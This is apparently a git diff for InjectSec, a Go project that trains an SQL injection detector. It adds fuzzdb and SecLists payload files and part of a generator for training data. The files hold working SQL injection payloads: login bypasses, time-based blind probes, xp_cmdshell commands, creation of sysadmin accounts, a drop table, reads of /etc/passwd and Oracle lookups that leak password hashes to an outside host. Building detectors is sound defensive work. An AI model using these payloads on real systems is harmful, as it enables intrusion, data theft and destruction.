+tz_offset +sqlvuln +"));waitfor delay '0:0:__TIME__'-- +||6 +or%201=1 -- +%2A%28%7C%28objectclass%3D%2A%29%29 +or a=a +) union select * from information_schema.tables; +PRINT @@variable +or isNULL(1/0) /* +26 % +" or "a"="a +(sqlvuln) +x' AND members.email IS NULL; -- + or 1=1-- + and 1=( if((load_file(char(110,46,101,120,11 ... +0x770061006900740066006F0072002000640065006C00 ... +%20'sleep%2050' +as +1)) or pg_sleep(__TIME__)-- +/**/or/**/1/**/=/**/1 + union all select @@version-- +,@variable +(sqlattempt2) + or (EXISTS) +t'exec master..xp_cmdshell 'nslookup www.googl ... +%20$(sleep%2050) +1 or benchmark(10000000,MD5(1))# +%20or%20''=' +||UTL_HTTP.REQUEST + or pg_sleep(__TIME__)-- +hi' or 'x'='x'; +") or sleep(__TIME__)=" + or 'whatever' in ('whatever') +; begin declare @var varchar(8000) set @var=' ... + union select 1,load_file('/etc/passwd'),1,1,1; +0x77616974666F722064656C61792027303A303A313027 ... +exec(@s) +) or pg_sleep(__TIME__)-- + union select + or sleep(__TIME__)# + select * from information_schema.tables-- +a' or 1=1-- +a' or 'a' = 'a +declare @s varchar(22) select @s = + or 2 between 1 and 3 + or a=a-- + or '1'='1 +| + or sleep(__TIME__)=' + or 1 --' +or 0=0 #" +having +a' +" or isNULL(1/0) /* +declare @s varchar (8000) select @s = 0x73656c ... +‘ or 1=1 -- +char%4039%41%2b%40SELECT +order by +bfilename + having 1=1-- +) or benchmark(10000000,MD5(1))# + or username like char(37); +;waitfor delay '0:0:__TIME__'-- +" or 1=1-- +x' AND userid IS NULL; -- +*/* + or 'text' > 't' + (select top 1 + or benchmark(10000000,MD5(1))# +");waitfor delay '0:0:__TIME__'-- +a' or 3=3-- + -- &password= + group by userid having 1=1-- + or ''=' +; exec master..xp_cmdshell +%20or%20x=x +select +")) or sleep(__TIME__)=" +0x730065006c0065006300740020004000400076006500 ... +hi' or 1=1 -- +") or pg_sleep(__TIME__)-- +%20or%20'x'='x + or 'something' = 'some'+'thing' +exec sp +29 % +( +ý or 1=1 -- +1 or pg_sleep(__TIME__)-- +0 or 1=1 +) or (a=a +uni/**/on sel/**/ect +replace +%27%20or%201=1 +)) or pg_sleep(__TIME__)-- +%7C +x' AND 1=(SELECT COUNT(*) FROM tabname); -- +'%20OR +; or '1'='1' +declare @q nvarchar (200) select @q = 0x770061 ... +1 or 1=1 +; exec ('sel' + 'ect us' + 'er') +23 OR 1=1 +/ +anything' OR 'x'='x +declare @q nvarchar (4000) select @q = +or 0=0 -- +desc +||'6 +) +1)) or sleep(__TIME__)# +or 0=0 # + select name from syscolumns where id = (sele ... +hi or a=a +*(|(mail=*)) +password:*/=1-- +distinct +);waitfor delay '0:0:__TIME__'-- +to_timestamp_tz +") or benchmark(10000000,MD5(1))# + UNION SELECT +%2A%28%7C%28mail%3D%2A%29%29 ++sqlvuln + or 1=1 /* +)) or sleep(__TIME__)=' +or 1=1 or ""= + or 1 in (select @@version)-- +sqlvuln; + union select * from users where login = char ... +x' or 1=1 or 'x'='y +28 % +‘ or 3=3 -- +@variable + or '1'='1'-- +"a"" or 1=1--" +//* +%2A%7C +" or 0=0 -- +")) or pg_sleep(__TIME__)-- +? + or 1/* +! +' + or a = a +declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) +declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) +declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) +declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) +' or 1=1 + or 1=1 -- +x' OR full_name LIKE '%Bob% +'; exec master..xp_cmdshell 'ping 172.10.1.255'-- +'%20or%20''=' +'%20or%20'x'='x +')%20or%20('x'='x +' or 0=0 -- +' or 0=0 # + or 0=0 #" +' or 1=1-- +' or '1'='1'-- +' or 1 --' +or 1=1-- +' or 1=1 or ''=' + or 1=1 or ""= +' or a=a-- + or a=a +') or ('a'='a +'hi' or 'x'='x'; +or +procedure +handler +' or username like '% +' or uname like '% +' or userid like '% +' or uid like '% +' or user like '% +'; exec master..xp_cmdshell +'; exec xp_regread +t'exec master..xp_cmdshell 'nslookup www.google.com'-- +--sp_password +' UNION SELECT +' UNION ALL SELECT +' or (EXISTS) +' (select top 1 +'||UTL_HTTP.REQUEST +1;SELECT%20* +<>"'%;)(&+ +'%20or%201=1 +'sqlattempt1 +%28 +%29 +%26 +%21 +' or ''=' +' or 3=3 + or 3=3 -- diff --git a/activity/sqld/injectsec/data/LICENSE b/activity/sqld/injectsec/data/LICENSE new file mode 100644 index 0000000..68a479d --- /dev/null +++ b/activity/sqld/injectsec/data/LICENSE @@ -0,0 +1,2 @@ +MIT license +See https://github.com/danielmiessler/SecLists diff --git a/activity/sqld/injectsec/data/MSSQL-Enumeration.fuzzdb.txt b/activity/sqld/injectsec/data/MSSQL-Enumeration.fuzzdb.txt new file mode 100644 index 0000000..f9b53cf --- /dev/null +++ b/activity/sqld/injectsec/data/MSSQL-Enumeration.fuzzdb.txt @@ -0,0 +1,15 @@ +# ms-sqli info disclosure payload fuzzfile +# replace regex with your fuzzer for best results +# run wireshark or tcpdump, look for incoming smb or icmp packets from victim +# might need to terminate payloads with ;-- +select @@version +select @@servernamee +select @@microsoftversione +select * from master..sysserverse +select * from sysusers +exec master..xp_cmdshell 'ipconfig+/all' +exec master..xp_cmdshell 'net+view' +exec master..xp_cmdshell 'net+users' +exec master..xp_cmdshell 'ping+' +BACKUP database master to disks='\\\\backupdb.dat' +create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"-- diff --git a/activity/sqld/injectsec/data/MSSQL.fuzzdb.txt b/activity/sqld/injectsec/data/MSSQL.fuzzdb.txt new file mode 100644 index 0000000..98bffba --- /dev/null +++ b/activity/sqld/injectsec/data/MSSQL.fuzzdb.txt @@ -0,0 +1,17 @@ +# you will need to customize/modify some of the vaules in the queries for best effect +'; exec master..xp_cmdshell 'ping 10.10.1.2'-- +'create user name identified by 'pass123' -- +'create user name identified by pass123 temporary tablespace temp default tablespace users; +' ; drop table temp -- +'exec sp_addlogin 'name' , 'password' -- +' exec sp_addsrvrolemember 'name' , 'sysadmin' -- +' insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123')) -- +' grant connect to name; grant resource to name; -- +' insert into users(login, password, level) values( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64) +' or 1=1 -- +' union (select @@version) -- +' union (select NULL, (select @@version)) -- +' union (select NULL, NULL, (select @@version)) -- +' union (select NULL, NULL, NULL, (select @@version)) -- +' union (select NULL, NULL, NULL, NULL, (select @@version)) -- +' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) -- diff --git a/activity/sqld/injectsec/data/MYSQL.fuzzdb.txt b/activity/sqld/injectsec/data/MYSQL.fuzzdb.txt new file mode 100644 index 0000000..9ada7a3 --- /dev/null +++ b/activity/sqld/injectsec/data/MYSQL.fuzzdb.txt @@ -0,0 +1,6 @@ +1'1 +1 exec sp_ (or exec xp_) +1 and 1=1 +1' and 1=(select count(*) from tablenames); -- +1 or 1=1 +1' or '1'='1 diff --git a/activity/sqld/injectsec/data/MySQL-Read-Local-Files.fuzzdb.txt b/activity/sqld/injectsec/data/MySQL-Read-Local-Files.fuzzdb.txt new file mode 100644 index 0000000..aeb89ca --- /dev/null +++ b/activity/sqld/injectsec/data/MySQL-Read-Local-Files.fuzzdb.txt @@ -0,0 +1,3 @@ +# mysql local file disclosure through sqli +# fuzz interesting absolute filepath/filename into +create table myfile (input TEXT); load data infile '' into table myfile; select * from myfile; diff --git a/activity/sqld/injectsec/data/MySQL-SQLi-Login-Bypass.fuzzdb.txt b/activity/sqld/injectsec/data/MySQL-SQLi-Login-Bypass.fuzzdb.txt new file mode 100644 index 0000000..c4ba291 --- /dev/null +++ b/activity/sqld/injectsec/data/MySQL-SQLi-Login-Bypass.fuzzdb.txt @@ -0,0 +1,8 @@ +# regex replace as many as you can with your fuzzer for best results: +# +# also try to brute force a list of possible usernames, including possile admin acct names +' OR 1=1-- +'OR '' = ' Allows authentication without a valid username. +'-- +' union select 1, '', '' 1-- +'OR 1=1-- diff --git a/activity/sqld/injectsec/data/Oracle.fuzzdb.txt b/activity/sqld/injectsec/data/Oracle.fuzzdb.txt new file mode 100644 index 0000000..2b1e6ee --- /dev/null +++ b/activity/sqld/injectsec/data/Oracle.fuzzdb.txt @@ -0,0 +1,56 @@ +# contains statements from jbrofuzz +’ or ‘1’=’1 +' or '1'='1 +'||utl_http.request('httP://192.168.1.1/')||' +' || myappadmin.adduser('admin', 'newpass') || ' +' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=2)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=3)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=4)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=5)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=6)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=7)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=8)) AND 'i'='i +' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=8)) AND 'i'='i + diff --git a/activity/sqld/injectsec/data/Postgres-Enumeration.fuzzdb.txt b/activity/sqld/injectsec/data/Postgres-Enumeration.fuzzdb.txt new file mode 100644 index 0000000..d963527 --- /dev/null +++ b/activity/sqld/injectsec/data/Postgres-Enumeration.fuzzdb.txt @@ -0,0 +1,20 @@ +# info disclosure payload fuzzfile for pgsql +select version(); +select current_database(); +select current_user; +select session_user; +select current_setting('log_connections'); +select current_setting('log_statement'); +select current_setting('port'); +select current_setting('password_encryption'); +select current_setting('krb_server_keyfile'); +select current_setting('virtual_host'); +select current_setting('port'); +select current_setting('config_file'); +select current_setting('hba_file'); +select current_setting('data_directory'); +select * from pg_shadow; +select * from pg_group; +create table myfile (input TEXT); +copy myfile from '/etc/passwd'; +select * from myfile;copy myfile to /tmp/test; diff --git a/activity/sqld/injectsec/data/data.go b/activity/sqld/injectsec/data/data.go new file mode 100644 index 0000000..d4d3baf --- /dev/null +++ b/activity/sqld/injectsec/data/data.go @@ -0,0 +1,2979 @@ +// Copyright 2018 The InjectSec Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package data + +import ( + "math/rand" +) + +// Generator generates training data +type Generator struct { + Form string + Case string + SkipTrain bool + SkipMatch bool + Regex func(p *Parts) +} + +// TrainingDataGenerator returns a data generator +func TrainingDataGenerator(rnd *rand.Rand) []Generator { + generators := []Generator{ + // Generic-SQLi.txt + { + Form: ")%20or%20('x'='x", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddHexOr() + p.AddLiteral("('") + p.AddName(0) + p.AddLiteral("'='") + p.AddName(0) + }, + }, + { + Form: "%20or%201=1", + Regex: func(p *Parts) { + p.AddHexOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: "; execute immediate 'sel' || 'ect us' || 'er'", + Regex: func(p *Parts) { + p.AddLiteral(";") + p.AddSpaces() + p.AddLiteral("execute") + p.AddSpaces() + p.AddLiteral("immediate") + p.AddSpaces() + p.AddParts(PartTypeObfuscated, func(p *Parts) { + p.AddLiteral("select") + p.AddSpaces() + p.AddName(0) + }) + }, + }, + { + Form: "benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddBenchmark() + }, + }, + { + Form: "update", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("update") + p.AddSpacesOptional() + }, + }, + { + Form: "\";waitfor delay '0:0:__TIME__'--", + Case: "\";waitfor delay '0:0:24'--", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddWaitfor() + }, + }, + { + Form: "1) or pg_sleep(__TIME__)--", + Case: "1) or pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddLiteral(")") + p.AddOr() + p.AddLiteral("pg_sleep(") + p.AddNumber(1, 1337) + p.AddLiteral(")--") + }, + }, + { + Form: "||(elt(-3+5,bin(15),ord(10),hex(char(45))))", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("(elt(") + p.AddNumber(0, 1337) + p.AddLiteral(",bin(") + p.AddNumber(1, 1337) + p.AddLiteral("),ord(") + p.AddNumber(2, 10) + p.AddLiteral("),hex(char(") + p.AddNumber(3, 256) + p.AddLiteral("))))") + }, + }, + { + Form: "\"hi\"\") or (\"\"a\"\"=\"\"a\"", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddName(0) + p.AddLiteral("\"\")") + p.AddOr() + p.AddLiteral("(\"\"") + p.AddName(1) + p.AddLiteral("\"\"=\"\"") + p.AddName(1) + p.AddLiteral("\"") + }, + }, + { + Form: "delete", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("delete") + p.AddSpacesOptional() + }, + }, + { + Form: "like", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("like") + p.AddSpacesOptional() + }, + }, + { + Form: "\" or sleep(__TIME__)#", + Case: "\" or sleep(123)#", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddOr() + p.AddLiteral("sleep(") + p.AddNumber(0, 1337) + p.AddLiteral(")#") + }, + }, + { + Form: "pg_sleep(__TIME__)--", + Case: "pg_sleep(123)--", + Regex: func(p *Parts) { + p.AddLiteral("pg_sleep(") + p.AddNumber(0, 1337) + p.AddLiteral(")--") + }, + }, + { + Form: "*(|(objectclass=*))", + }, + { + Form: "declare @q nvarchar (200) 0x730065006c00650063 ...", + Case: "declare @q nvarchar (200) 0x730065006c00650063", + Regex: func(p *Parts) { + p.AddLiteral("declare") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("nvarchar") + p.AddSpaces() + p.AddLiteral("(") + p.AddNumber(1, 1337) + p.AddLiteral(")") + p.AddSpaces() + p.AddHex(1337 * 1337) + }, + }, + { + Form: " or 0=0 #", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("#") + }, + }, + { + Form: "insert", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("insert") + p.AddSpacesOptional() + }, + }, + { + Form: "1) or sleep(__TIME__)#", + Case: "1) or sleep(567)#", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddLiteral(")") + p.AddOr() + p.AddLiteral("sleep(") + p.AddNumber(1, 1337) + p.AddLiteral(")#") + }, + }, + { + Form: ") or ('a'='a", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddOr() + p.AddLiteral("('") + p.AddName(0) + p.AddLiteral("'='") + p.AddName(0) + }, + }, + { + Form: "; exec xp_regread", + Regex: func(p *Parts) { + p.AddLiteral(";") + p.AddSpaces() + p.AddLiteral("exec") + p.AddSpaces() + p.AddLiteral("xp_regread") + }, + }, + { + Form: "*|", + }, + { + Form: "@var select @var as var into temp end --", + Regex: func(p *Parts) { + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("select") + p.AddSpaces() + p.AddLiteral("@") + p.AddName(0) + p.AddSpaces() + p.AddLiteral("as") + p.AddSpaces() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("into") + p.AddSpaces() + p.AddName(1) + p.AddSpaces() + p.AddLiteral("end") + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "1)) or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddLiteral("))") + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: "asc", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("asc") + p.AddSpacesOptional() + }, + }, + { + Form: "(||6)", + Regex: func(p *Parts) { + p.AddLiteral("(||") + p.AddNumber(0, 1337) + p.AddLiteral(")") + }, + }, + { + Form: "\"a\"\" or 3=3--\"", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddName(0) + p.AddLiteral("\"\"") + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddLiteral("--\"") + }, + }, + { + Form: "\" or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddLiteral("\"") + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: "# from wapiti", + Regex: func(p *Parts) { + p.AddLiteral("#") + p.AddSpaces() + p.AddLiteral("from") + p.AddSpaces() + p.AddLiteral("wapiti") + }, + }, + { + Form: " or 0=0 --", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("--") + }, + }, + { + Form: "1 waitfor delay '0:0:10'--", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("waitfor") + p.AddSpaces() + p.AddLiteral("delay") + p.AddSpaces() + p.AddLiteral("'") + p.AddNumber(1, 24) + p.AddLiteral(":") + p.AddNumber(2, 60) + p.AddLiteral(":") + p.AddNumber(3, 60) + p.AddLiteral("'--") + }, + }, + { + Form: " or 'a'='a", + Regex: func(p *Parts) { + p.AddOr() + p.AddLiteral("'") + p.AddName(0) + p.AddLiteral("'='") + p.AddName(0) + }, + }, + { + Form: "hi or 1=1 --\"", + Regex: func(p *Parts) { + p.AddName(0) + p.AddOr() + p.AddNumber(1, 1337) + p.AddLiteral("=") + p.AddNumber(1, 1337) + p.AddSpaces() + p.AddLiteral("--\"") + }, + }, + { + Form: "or a = a", + Regex: func(p *Parts) { + p.AddOr() + p.AddName(0) + p.AddSpaces() + p.AddLiteral("=") + p.AddSpaces() + p.AddName(0) + }, + }, + { + Form: " UNION ALL SELECT", + Regex: func(p *Parts) { + p.AddSpaces() + p.AddLiteral("union") + p.AddSpaces() + p.AddLiteral("all") + p.AddSpaces() + p.AddLiteral("select") + }, + }, + { + Form: ") or sleep(__TIME__)='", + Case: ") or sleep(123)='", + Regex: func(p *Parts) { + p.AddLiteral(")") + p.AddOr() + p.AddLiteral("sleep(") + p.AddNumber(0, 1337) + p.AddLiteral(")='") + }, + }, + { + Form: ")) or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddLiteral("))") + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: "hi' or 'a'='a", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("'") + p.AddOr() + p.AddLiteral("'") + p.AddName(1) + p.AddLiteral("'='") + p.AddName(1) + }, + }, + { + Form: "0", + SkipTrain: true, + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + }, + }, + { + Form: "21 %", + Regex: func(p *Parts) { + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral("%") + }, + }, + { + Form: "limit", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("limit") + p.AddSpacesOptional() + }, + }, + { + Form: " or 1=1", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: " or 2 > 1", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddSpaces() + p.AddLiteral(">") + p.AddSpaces() + p.AddNumber(0, 1337) + }, + }, + { + Form: "\")) or benchmark(10000000,MD5(1))#", + Regex: func(p *Parts) { + p.AddLiteral("\"))") + p.AddOr() + p.AddBenchmark() + }, + }, + { + Form: "PRINT", + Regex: func(p *Parts) { + p.AddSpacesOptional() + p.AddLiteral("print") + p.AddSpacesOptional() + }, + }, + { + Form: "hi') or ('a'='a", + Regex: func(p *Parts) { + p.AddName(0) + p.AddLiteral("')") + p.AddOr() + p.AddLiteral("('") + p.AddName(1) + p.AddLiteral("'='") + p.AddName(1) + }, + }, + { + Form: " or 3=3", + Regex: func(p *Parts) { + p.AddOr() + p.AddNumber(0, 1337) + p.AddLiteral("=") + p.AddNumber(0, 1337) + }, + }, + { + Form: "));waitfor delay '0:0:__TIME__'--", + Case: "));waitfor delay '0:0:42'--", + Regex: func(p *Parts) { + p.AddLiteral("))") + p.AddWaitfor() + }, + }, + { + Form: "a' waitfor delay '0:0:10'--", + Regex: func(p *Parts) { + p.AddName(0) + 